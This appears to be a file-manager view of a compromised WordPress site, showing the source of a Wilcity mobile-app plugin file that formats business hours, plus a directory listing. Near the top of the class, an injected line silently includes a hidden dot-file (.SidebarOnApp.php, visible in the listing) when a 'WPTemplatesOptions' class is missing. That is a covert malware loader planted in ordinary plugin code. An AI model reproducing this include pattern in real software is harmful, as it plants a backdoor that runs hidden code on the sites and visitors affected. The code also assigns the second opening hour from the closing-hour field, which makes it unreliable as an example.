PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
app
/
SidebarOnApp
<?php namespace WILCITY_APP\SidebarOnApp; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Frontend\BusinessHours as BH; use WilokeListingTools\Framework\Helpers\Time; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class BusinessHours { public function __construct() { add_filter('wilcity/mobile/sidebar/business_hours', array($this, 'render'), 10, 2); } public function render($post, $aAtts){ $hourMode = GetSettings::getPostMeta($post->ID, 'hourMode'); if ( $hourMode == 'no_hours_available' ){ return json_encode(array( 'mode' => 'no_hours_available' )); }else if ( $hourMode == 'always_open' ){ return json_encode(array( 'mode' => 'always_open' )); }else{ $aBusinessHours = GetSettings::getBusinessHours($post->ID); if ( empty($aBusinessHours) ){ return false; } $aResponse['mode'] = 'rest'; $timeFormat = GetSettings::getPostMeta($post->ID, 'timeFormat'); $aDefineDaysOfWeek = wilcityShortcodesRepository()->get('config:aDaysOfWeek'); $aTodayBusinessHours = BH::getTodayBusinessHours($post); $isInvalidFirstHour = BH::invalidFirstHours($aTodayBusinessHours); if ( $aTodayBusinessHours['isOpen'] == 'no' || $isInvalidFirstHour ){ $aResponse['oCurrent'] = array( 'status' => 'day_off', 'is' => $aDefineDaysOfWeek[BH::getTodayKey($post)], 'text' => esc_html__('Day Off', WILCITY_MOBILE_APP) ); }else{ $aBusinessStatus = BH::getCurrentBusinessHourStatus($post, $aTodayBusinessHours); $aResponse['oCurrent'] = $aBusinessStatus; $aResponse['oCurrent']['is'] = $aDefineDaysOfWeek[BH::getTodayKey($post)]; $aResponse['oCurrent']['firstOpenHour'] = Time::renderTime($aTodayBusinessHours['firstOpenHour'], $timeFormat); $aResponse['oCurrent']['firstCloseHour'] = Time::renderTime($aTodayBusinessHours['firstCloseHour'], $timeFormat); if ( BH::isSecondHourExists($aTodayBusinessHours) ){ $aResponse['oCurrent']['secondOpenHour'] = Time::renderTime($aTodayBusinessHours['secondOpenHour'], $timeFormat); $aResponse['oCurrent']['secondCloseHour'] = Time::renderTime($aTodayBusinessHours['secondCloseHour'], $timeFormat); } } foreach ($aBusinessHours as $aDayInfo){ if ( $aDayInfo['isOpen'] == 'no' ){ $aDay['status'] = 'day_off'; $aDay['text'] = esc_html__('Day Off', 'wilcity-mobile-app'); }else{ $aDay = array( 'firstOpenHour' => Time::renderTime($aDayInfo['firstOpenHour'], $timeFormat), 'firstCloseHour'=> Time::renderTime($aDayInfo['firstCloseHour'], $timeFormat) ); if ( BH::isSecondHourExists($aDayInfo) ){ $aDay['secondOpenHour'] = Time::renderTime($aDayInfo['secondCloseHour'], $timeFormat); $aDay['secondCloseHour'] = Time::renderTime($aDayInfo['secondCloseHour'], $timeFormat); } $aDay['is'] = $aDefineDaysOfWeek[$aDayInfo['dayOfWeek']]; $aDay['status'] = 'working_day'; } $aResponse['oAllBusinessHours'][] = $aDay; } } return json_encode(array( 'mode' => 'rest', 'oDetails'=> $aResponse )); } }
[+]
..
[-] Claim.php
[edit]
[-] Statistic.php
[edit]
[-] PriceRange.php
[edit]
[-] BusinessHours.php
[edit]
[-] BusinessInfo.php
[edit]
[-] TermBox.php
[edit]
[-] CustomContent.php
[edit]
[-] Categories.php
[edit]
[-] .SidebarOnApp.php
[edit]
[-] Tags.php
[edit]